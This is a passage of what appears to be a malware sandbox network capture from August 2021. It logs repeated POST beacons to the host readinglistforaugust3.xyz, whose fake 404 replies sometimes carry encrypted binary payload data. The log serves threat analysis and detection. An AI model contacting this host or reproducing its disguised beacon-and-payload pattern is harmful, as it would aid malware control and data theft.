4e 37 ab d7 a8 05 3a 8b 62 44 85 d5 79 e1 34 75 2f 5b 9b e3 c1 78 f2 c8 79 8e 6b 4e d2 1d ef 0b d6 39 e1 fb 37 e1 7e 58 07 e0 f0 b4 2d 91 6c 38 8b 0d ad 0f 45 84 ac f1 cc e6 60 81 fe 0c 56 0c c1 60 e7 ab 64 47 d3 e3 71 0d b2 19 1f b7 1c 9a 71 41 2a 27 6f e8 ee 65 44 50 7f c8 f1 9d e8 b4 7f 5d 7e 8e b6 58 c4 f6 2d c9 24 c0 0f 0d e9 41 67 f3 66 56 a3 44 d1 c4 a3 85 4b e7 cb 8a 6c 61 29 78 d5 a2 1e 97 94 13 5a 93 db 14 d8 53 d4 25 4b f7 d5 84 e3 56 40 28 66 00 32 25 d4 a1 d4 da d5 e9 25 7b d4 ea 6e 30 da 17 e8 b4 31 e9 32 95 23 09 72 74 1e 97 85 ce bf 87 9d 85 9d ca 27 a9 da 4e 81 23 e6 0f ac 86 cd 87 3b fe e1 39 be 29 cb 6b 8d d3 13 ac ed 9a e3 cf 59 ad 37 fc 83 b0 bc af 0c b6 40 bc 36 85 ac 3d eb 95 d9 ac d0 90 bb ec b0 70 02 81 8c 28 3c d6 ef ff e6 84 27 ed 5c 88 3b c2 00 67 95 39 1c cb dc 34 29 98 ab d6 f1 57 2a 46 e9 cf 36 ba c6 23 d9 74 d5 74 6d d4 c8 e1 a9 7d 6b 3c 34 5e 44 d9 86 db 87 ce 1c f0 ea e2 33 dc b5 f7 53 19 e0 65 ca df 19 47 f7 a1 1c aa 9b 31 52 88 d7 9f 5c a9 02 9f 71 60 9c a7 34 98 c4 1c 5a d1 1f 15 cf 0a a9 c5 26 8b 3d 4d 7d 36 bd 05 1b 98 73 e8 5b 9a dd 94 5a Data Ascii: 3ff66w,Ct# [ubbxB"#z+ZQ787.R#T,dC?\|hCx1CrVOsb}_JVHPhc]-5;82N"E1__Wysrb342axx01O4]qc"OJm.4k'0wUJPG:TCd#dw@W2/f`dVWrmTN=MwR"'x:tQ'2CHC6_bfR-L1ZORTP`Oh2x-<zTQ]6&P09eTg%]=#d/Weg!Mw#ey&Vz#b&Sf8K-y!I%8eF.Q@+vhg{ qd&FPhCPw^bt?BWN1";I' Ysx_Sj!e:_SOL:4ikDcs/gcVu6!y&B"mu/[%QWPL2cBt\|xIE#N&WgCkAKD`+'T$zZac(QcN7:bDy4u/[xykN97~X-l8E`V`dGqqA'oeDP]~X-$AgfVDKla)xZS%KV@(f2%%{n012#rt'N#;9)kY7@6=p(<'\;g94)WF6#ttm}k<4^D3SeG1R\q`4Z&=M}6s[Z
Aug 24, 2021 14:01:38.030530930 CEST	11176	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://readinglistforaugust3.xyz/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 279 Host: readinglistforaugust3.xyz
Aug 24, 2021 14:01:38.076972008 CEST	11177	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 24 Aug 2021 12:01:38 GMT Content-Type: text/html; charset=utf-8 Content-Length: 413 Connection: keep-alive Keep-Alive: timeout=3 Vary: Accept-Encoding Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 31 30 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 72 65 61 64 69 6e 67 6c 69 73 74 66 6f 72 61 75 67 75 73 74 33 2e 78 79 7a 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.10 (Debian) Server at readinglistforaugust3.xyz Port 80</address></body></html>
Aug 24, 2021 14:01:38.092127085 CEST	11178	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://readinglistforaugust3.xyz/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 220 Host: readinglistforaugust3.xyz
Aug 24, 2021 14:01:38.138200045 CEST	11179	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 24 Aug 2021 12:01:38 GMT Content-Type: text/html; charset=utf-8 Content-Length: 413 Connection: keep-alive Keep-Alive: timeout=3 Vary: Accept-Encoding Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 31 30 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 72 65 61 64 69 6e 67 6c 69 73 74 66 6f 72 61 75 67 75 73 74 33 2e 78 79 7a 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.10 (Debian) Server at readinglistforaugust3.xyz Port 80</address></body></html>
Aug 24, 2021 14:01:38.148303032 CEST	11179	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://readinglistforaugust3.xyz/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 153 Host: readinglistforaugust3.xyz
Aug 24, 2021 14:01:38.192079067 CEST	11180	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 24 Aug 2021 12:01:38 GMT Content-Type: text/html; charset=utf-8 Content-Length: 413 Connection: keep-alive Keep-Alive: timeout=3 Vary: Accept-Encoding Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 31 30 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 72 65 61 64 69 6e 67 6c 69 73 74 66 6f 72 61 75 67 75 73 74 33 2e 78 79 7a 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.10 (Debian) Server at readinglistforaugust3.xyz Port 80</address></body></html>
Aug 24, 2021 14:01:38.229234934 CEST	11180	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://readinglistforaugust3.xyz/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 169 Host: readinglistforaugust3.xyz
Aug 24, 2021 14:01:38.281625032 CEST	11181	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 24 Aug 2021 12:01:38 GMT Content-Type: text/html; charset=utf-8 Content-Length: 413 Connection: keep-alive Keep-Alive: timeout=3 Vary: Accept-Encoding Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 31 30 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 72 65 61 64 69 6e 67 6c 69 73 74 66 6f 72 61 75 67 75 73 74 33 2e 78 79 7a 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.10 (Debian) Server at readinglistforaugust3.xyz Port 80</address></body></html>
Aug 24, 2021 14:01:38.300880909 CEST	11182	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://readinglistforaugust3.xyz/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 266 Host: readinglistforaugust3.xyz
Aug 24, 2021 14:01:38.347609997 CEST	11182	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 24 Aug 2021 12:01:38 GMT Content-Type: text/html; charset=utf-8 Content-Length: 42 Connection: keep-alive Keep-Alive: timeout=3 Vary: Accept-Encoding Data Raw: 00 00 a7 a2 7f d5 7f 6b 10 19 36 87 8f bf a7 46 90 6c 01 45 fc 39 0d 14 62 da 02 52 f8 bf 97 c8 20 8c 91 ea 4d 83 8e a6 e6 5a Data Ascii: k6FlE9bR MZ
Aug 24, 2021 14:01:39.405777931 CEST	11355	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://readinglistforaugust3.xyz/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 248 Host: readinglistforaugust3.xyz
Aug 24, 2021 14:01:39.450200081 CEST	11356	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 24 Aug 2021 12:01:39 GMT Content-Type: text/html; charset=utf-8 Content-Length: 413 Connection: keep-alive Keep-Alive: timeout=3 Vary: Accept-Encoding Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 31 30 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 72 65 61 64 69 6e 67 6c 69 73 74 66 6f 72 61 75 67 75 73 74 33 2e 78 79 7a 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.10 (Debian) Server at readinglistforaugust3.xyz Port 80</address></body></html>
Aug 24, 2021 14:01:39.584538937 CEST	11356	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://readinglistforaugust3.xyz/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 335 Host: readinglistforaugust3.xyz
Aug 24, 2021 14:01:39.634326935 CEST	11358	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 24 Aug 2021 12:01:39 GMT Content-Type: text/html; charset=utf-8 Content-Length: 413 Connection: keep-alive Keep-Alive: timeout=3 Vary: Accept-Encoding Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 31 30 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 72 65 61 64 69 6e 67 6c 69 73 74 66 6f 72 61 75 67 75 73 74 33 2e 78 79 7a 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.10 (Debian) Server at readinglistforaugust3.xyz Port 80</address></body></html>
Aug 24, 2021 14:01:39.854218960 CEST	11358	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://readinglistforaugust3.xyz/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 368 Host: readinglistforaugust3.xyz
Aug 24, 2021 14:01:39.901473045 CEST	11359	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 24 Aug 2021 12:01:39 GMT Content-Type: text/html; charset=utf-8 Content-Length: 413 Connection: keep-alive Keep-Alive: timeout=3 Vary: Accept-Encoding Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 31 30 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 72 65 61 64 69 6e 67 6c 69 73 74 66 6f 72 61 75 67 75 73 74 33 2e 78 79 7a 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.10 (Debian) Server at readinglistforaugust3.xyz Port 80</address></body></html>
Aug 24, 2021 14:01:40.171941996 CEST	11359	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://readinglistforaugust3.xyz/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 168 Host: readinglistforaugust3.xyz
Aug 24, 2021 14:01:40.219329119 CEST	11360	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 24 Aug 2021 12:01:40 GMT Content-Type: text/html; charset=utf-8 Content-Length: 0 Connection: keep-alive Keep-Alive: timeout=3
Aug 24, 2021 14:01:40.283097982 CEST	11360	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://readinglistforaugust3.xyz/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 324 Host: readinglistforaugust3.xyz
Aug 24, 2021 14:01:40.364639997 CEST	11362	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 24 Aug 2021 12:01:40 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=3 Vary: Accept-Encoding Data Raw: 33 66 66 36 36 0d 0a 00 00 a6 97 8c b4 08 02 7f 77 08 a7 e7 cb 2c c9 aa 43 96 74 c4 0c 23 20 5b f4 75 62 d6 86 a7 f2 12 bc a9 da 62 b6 a0 d6 8e 2a 03 c1 fe f5 78 80 42 09 22 23 7a 2b 5a be 51 83 37 f3 38 8f 8d dd 37 2e 52 8c 23 e2 54 03 2c 1e 64 de 43 81 bc a4 b9 18 d8 e0 a3 e5 f9 b6 3f 7c 68 a0 d4 a1 a7 43 ab 78 a6 8f 31 88 43 72 56 b9 f9 4f 85 d1 73 62 c6 80 7d 19 09 03 aa d1 5f fb 83 4a 56 48 b2 50 68 63 0d 90 06 2d ac 34 ae f9 72 85 1b 7c 10 a3 d2 38 14 32 8f d7 6f 4e bd 01 b5 23 8e c7 b7 28 c5 87 45 e1 32 d5 a7 5f 81 cb 0f 63 07 79 93 53 72 62 19 13 bd 34 16 e4 dc 32 11 41 7f 14 ef 7a 78 30 ba 80 f5 fd 31 4f c6 34 59 ee 71 0a 12 63 f7 cc eb cb f1 22 4f 85 4a c2 2f b2 87 2e f9 bc 46 34 83 34 7b 27 30 67 1b bd 55 16 5a e2 50 57 9a 0e 6a 11 e9 43 de e5 60 23 89 f1 80 08 91 f8 32 2f b5 e6 66 93 2d b8 07 65 b4 02 aa 56 22 b0 76 6d f1 af de cc 08 cd f7 dd 4c 34 bf 3d 1f d8 e6 c6 c6 89 b7 86 a4 a3 55 4d b1 67 12 ff a0 c3 94 52 02 2a 22 af 15 27 78 3a 07 f4 74 c6 51 e5 0d bb 27 92 cc c4 48 fc 87 a9 e2 96 99 43 b5 af 83 16 e1 1b c3 98 fe 26 5f 10 62 66 42 ef 2d 5c 31 5a 4f 52 54 9f 40 c5 0d 60 7f 3f 1e 68 ce df 32 78 ed 98 cb d5 3e 04 e7 14 82 5d 27 69 7d f9 7a 54 19 51 5e 36 06 06 50 da 30 e4 03 8e 39 cf a8 65 17 92 54 67 f4 c1 ed fe d5 8c 1b 5d d6 e8 07 5d 0d a8 00 da 5b 36 a1 7f 0d 9c 65 c8 f6 3d e8 67 97 70 24 4d eb 8b b7 e9 73 80 94 23 4c 14 be a3 a6 65 79 cc 66 56 7a 79 2a 7c d3 03 f2 07 2a e5 8f cb e7 66 93 78 b5 03 df d5 2d 12 79 aa 22 49 e8 a8 25 99 a3 a0 cd 1b 16 b4 e6 f1 36 ed 02 25 ed b7 26 bc b6 a5 b5 2e 5d 8b e8 40 2b 12 18 68 b3 03 67 cb 7b 8e 72 b2 64 e1 26 15 b6 a8 11 bf d7 a6 cb 27 64 dd db fb c3 d5 27 a3 df e7 55 77 5e 82 62 74 b1 4e 3c 42 57 eb f4 4e 31 1f 21 3b d7 af 49 27 f5 8c 9a f1 0e 3d 61 07 59 d0 5f 93 43 b8 d9 6b 79 c3 9c ea 3a fd da 53 4f 01 4f 87 3a 5e 35 a3 e1 db 68 ff 44 00 e5 63 33 2f 67 78 4d 24 81 c4 9f b2 75 56 b3 46 ae c3 12 98 93 45 ea c8 bf 8e ec a9 4f fb 22 6d c1 df e4 bd be 75 2f d3 b2 cc df f9 5b ea cf 25 51 57 30 b6 4c 72 1c 79 df d8 65 7f 63 99 42 eb 31 74 7c 8e 28 c0 49 d1 2a 0c df 0f d3 99 23 9a 7f 4e 0c 96 26 c1 04 f3 87 57 07 c3 09 e8 6d 86 18 33 cc 89 4b 9b 66 94 ef ec d6 37 95 ec 44 41 f5 7f 60 36 04 ba ff 27 83 54 24 f8 e5 cc 7a 5a 0f 61 a0 63 89 b3 0c 28 51 b9 f6 12 63 8a 91 b3 1f a2 4e 37 ab d7 a8 05 3a 8b 62 44 85 d5 79 e1 34 75 2f 5b 9b e3 c1 78 f2 c8 79 8e 6b 4e d2 1d ef 0b d6 39 e1 fb 37 e1 7e 58 07 e0 f0 b4 2d 91 6c 38 8b 0d ad 0f 45 84 ac f1 cc e6 60 81 fe 0c 56 0c c1 60 e7 ab 64 47 d3 e3 71 0d b2 19 1f b7 1c 9a 71 41 2a 27 6f e8 ee 65 44 50 7f c8 f1 9d e8 b4 7f 5d 7e 8e b6 58 c4 f6 2d c9 24 c0 0f 0d e9 41 67 f3 66 56 a3 44 d1 c4 a3 85 4b e7 cb 8a 6c 61 29 78 d5 a2 1e 97 94 13 5a 93 db 14 d8 53 d4 25 4b f7 d5 84 e3 56 40 28 66 00 32 25 d4 a1 d4 da d5 e9 25 7b d4 ea 6e 30 da 17 e8 b4 31 e9 32 95 23 09 72 74 1e 97 85 ce bf 87 9d 85 9d ca 27 a9 da 4e 81 23 